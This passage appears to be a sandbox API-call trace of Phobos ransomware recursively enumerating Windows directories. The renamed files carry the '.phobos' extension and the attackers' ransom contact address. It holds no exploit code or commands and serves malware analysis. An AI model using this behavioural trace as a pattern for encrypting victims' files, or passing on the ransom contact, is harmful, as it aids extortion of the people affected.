(in: hFindFile=0x1b9288, lpFindFileData=0x299f0a0 | out: lpFindFileData=0x299f0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef1d6954, ftCreationTime.dwHighDateTime=0x1d50bc2, ftLastAccessTime.dwLowDateTime=0xef1d6954, ftLastAccessTime.dwHighDateTime=0x1d50bc2, ftLastWriteTime.dwLowDateTime=0xef1d6954, ftLastWriteTime.dwHighDateTime=0x1d50bc2, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id[B4197730-0001].[phobosrecovery@cock.li].phobos", cAlternateFileName="DESKTO~1.PHO")) returned 1 [0161.717] FindNextFileW (in: hFindFile=0x1b9288, lpFindFileData=0x299f0a0 | out: lpFindFileData=0x299f0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef1d6954, ftCreationTime.dwHighDateTime=0x1d50bc2, ftLastAccessTime.dwLowDateTime=0xef1d6954, ftLastAccessTime.dwHighDateTime=0x1d50bc2, ftLastWriteTime.dwLowDateTime=0xef1d6954, ftLastWriteTime.dwHighDateTime=0x1d50bc2, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id[B4197730-0001].[phobosrecovery@cock.li].phobos", cAlternateFileName="DESKTO~1.PHO")) returned 0 [0161.717] FindClose (in: hFindFile=0x1b9288 | out: hFindFile=0x1b9288) returned 1 [0161.717] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x2a10080 | out: hHeap=0x6f0000) returned 1 [0161.717] FindNextFileW (in: hFindFile=0x1b9208, lpFindFileData=0x299f324 | out: lpFindFileData=0x299f324*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x80e8292b, ftLastAccessTime.dwHighDateTime=0x1d50bcb, ftLastWriteTime.dwLowDateTime=0x80e8292b, ftLastWriteTime.dwHighDateTime=0x1d50bcb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0161.718] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x299f0a0 | out: lpFindFileData=0x299f0a0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x80e8292b, ftLastAccessTime.dwHighDateTime=0x1d50bcb, ftLastWriteTime.dwLowDateTime=0x80e8292b, ftLastWriteTime.dwHighDateTime=0x1d50bcb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b9288 [0161.718] FindNextFileW (in: hFindFile=0x1b9288, lpFindFileData=0x299f0a0 | out: lpFindFileData=0x299f0a0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x80e8292b, ftLastAccessTime.dwHighDateTime=0x1d50bcb, ftLastWriteTime.dwLowDateTime=0x80e8292b, ftLastWriteTime.dwHighDateTime=0x1d50bcb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0161.718] FindNextFileW (in: hFindFile=0x1b9288, lpFindFileData=0x299f0a0 | out: lpFindFileData=0x299f0a0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80e8292b, ftCreationTime.dwHighDateTime=0x1d50bcb, ftLastAccessTime.dwLowDateTime=0x80e8292b, ftLastAccessTime.dwHighDateTime=0x1d50bcb, ftLastWriteTime.dwLowDateTime=0x80e8292b, ftLastWriteTime.dwHighDateTime=0x1d50bcb, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0161.718] SetEvent (hEvent=0x29c) returned 1 [0161.718] ResetEvent (hEvent=0x2a0) returned 1 [0161.718] FindNextFileW (in: hFindFile=0x1b9288, lpFindFileData=0x299f0a0 | out: lpFindFileData=0x299f0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef1d6954, ftCreationTime.dwHighDateTime=0x1d50bc2, ftLastAccessTime.dwLowDateTime=0xef1d6954, ftLastAccessTime.dwHighDateTime=0x1d50bc2, ftLastWriteTime.dwLowDateTime=0xef1d6954, ftLastWriteTime.dwHighDateTime=0x1d50bc2, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id[B4197730-0001].[phobosrecovery@cock.li].phobos", cAlternateFileName="DESKTO~1.PHO")) returned 1 [0161.718] FindNextFileW (in: hFindFile=0x1b9288, lpFindFileData=0x299f0a0 | out: lpFindFileData=0x299f0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef1d6954, ftCreationTime.dwHighDateTime=0x1d50bc2, ftLastAccessTime.dwLowDateTime=0xef1d6954, ftLastAccessTime.dwHighDateTime=0x1d50bc2, ftLastWriteTime.dwLowDateTime=0xef1d6954, ftLastWriteTime.dwHighDateTime=0x1d50bc2, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id[B4197730-0001].[phobosrecovery@cock.li].phobos", cAlternateFileName="DESKTO~1.PHO")) returned 0 [0161.718] FindClose (in: hFindFile=0x1b9288 | out: hFindFile=0x1b9288) returned 1 [0161.718] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x2a10080 | out: hHeap=0x6f0000) returned 1 [0161.718] FindNextFileW (in: hFindFile=0x1b9208, lpFindFileData=0x299f324 | out: lpFindFileData=0x299f324*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x80e8292b, ftLastAccessTime.dwHighDateTime=0x1d50bcb, ftLastWriteTime.dwLowDateTime=0x80e8292b, ftLastWriteTime.dwHighDateTime=0x1d50bcb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0161.719] FindClose (in: hFindFile=0x1b9208 | out: hFindFile=0x1b9208) returned 1 [0162.263] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x2a00078 | out: hHeap=0x6f0000) returned 1 [0162.263] FindNextFileW (in: hFindFile=0x1b8e88, lpFindFileData=0x299f5a8 | out: lpFindFileData=0x299f5a8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x299f7d0, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0162.812] FindNextFileW (in: hFindFile=0x1d11d0, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.812] FindNextFileW (in: hFindFile=0x1d11d0, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2f0ba2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2f0ba2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2f0ba2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0162.812] FindNextFileW (in: hFindFile=0x1d11d0, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2f0ba2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2f0ba2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2f0ba2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0162.812] FindClose (in: hFindFile=0x1d11d0 | out: hFindFile=0x1d11d0) returned 1 [0162.813] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3330060 | out: hHeap=0x6f0000) returned 1 [0162.813] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x82, cFileName="de-DE", cAlternateFileName="")) returned 1 [0162.813] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\*", lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1890 [0163.567] FindNextFileW (in: hFindFile=0x1d1890, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.567] FindNextFileW (in: hFindFile=0x1d1890, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2f0ba2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2f0ba2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2f0ba2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.567] FindNextFileW (in: hFindFile=0x1d1890, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2f0ba2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2f0ba2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2f0ba2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.568] FindClose (in: hFindFile=0x1d1890 | out: hFindFile=0x1d1890) returned 1 [0163.568] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3330060 | out: hHeap=0x6f0000) returned 1 [0163.568] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x82, cFileName="el-GR", cAlternateFileName="")) returned 1 [0163.569] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\*", lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1790 [0163.569] FindNextFileW (in: hFindFile=0x1d1790, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.569] FindNextFileW (in: hFindFile=0x1d1790, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.569] FindNextFileW (in: hFindFile=0x1d1790, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.569] FindClose (in: hFindFile=0x1d1790 | out: hFindFile=0x1d1790) returned 1 [0163.570] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3330060 | out: hHeap=0x6f0000) returned 1 [0163.570] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x82, cFileName="en-GB", cAlternateFileName="")) returned 1 [0163.570] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\*", lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1a10 [0163.570] FindNextFileW (in: hFindFile=0x1d1a10, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.570] FindNextFileW (in: hFindFile=0x1d1a10, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.570] FindNextFileW (in: hFindFile=0x1d1a10, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.570] FindClose (in: hFindFile=0x1d1a10 | out: hFindFile=0x1d1a10) returned 1 [0163.571] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3330060 | out: hHeap=0x6f0000) returned 1 [0163.571] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x82, cFileName="en-US", cAlternateFileName="")) returned 1 [0163.571] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\*", lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d15d0 [0163.572] FindNextFileW (in: hFindFile=0x1d15d0, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.572] FindNextFileW (in: hFindFile=0x1d15d0, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a3b058, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a3b058, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1b2d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1 [0163.572] SetEvent (hEvent=0x29c) returned 1 [0163.572] ResetEvent (hEvent=0x2a0) returned 1 [0163.574] FindNextFileW (in: hFindFile=0x1d15d0, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a612b1, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a612b1, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xbf28, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1 [0163.575] SetEvent (hEvent=0x29c) returned 1 [0163.575] ResetEvent (hEvent=0x2a0) returned 1 [0163.578] FindNextFileW (in: hFindFile=0x1d15d0, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a1d507, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1aad768, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1aad768, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb61e, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1 [0163.578] SetEvent (hEvent=0x29c) returned 1 [0163.578] ResetEvent (hEvent=0x2a0) returned 1 [0163.580] FindNextFileW (in: hFindFile=0x1d15d0, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x148de, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1 [0163.592] SetEvent (hEvent=0x29c) returned 1 [0163.592] ResetEvent (hEvent=0x2a0) returned 1 [0163.601] FindNextFileW (in: hFindFile=0x1d15d0, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2bfcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="correct.avi", cAlternateFileName="")) returned 1 [0163.601] SetEvent (hEvent=0x29c) returned 1 [0163.601] ResetEvent (hEvent=0x2a0) returned 1 [0163.603] FindNextFileW (in: hFindFile=0x1d15d0, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a612b1, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a612b1, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x32e18, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete.avi", cAlternateFileName="")) returned 1 [0163.604] SetEvent (hEvent=0x29c) returned 1 [0163.604] ResetEvent (hEvent=0x2a0) returned 1 [0163.606] FindNextFileW (in: hFindFile=0x1d15d0, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da3ec5f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7bf3d600, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1 [0163.606] FindNextFileW (in: hFindFile=0x1d15d0, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dab1374, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0163.606] FindNextFileW (in: hFindFile=0x1d15d0, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d9f27a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7f875d00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe.mui", cAlternateFileName="")) returned 1 [0163.607] FindNextFileW (in: hFindFile=0x1d15d0, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d9f27a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7f875d00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll.mui", cAlternateFileName="")) returned 1 [0163.607] FindNextFileW (in: hFindFile=0x1d15d0, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da18a06, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x80b88a00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll.mui", cAlternateFileName="")) returned 1 [0163.607] FindNextFileW (in: hFindFile=0x1d15d0, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a1d507, 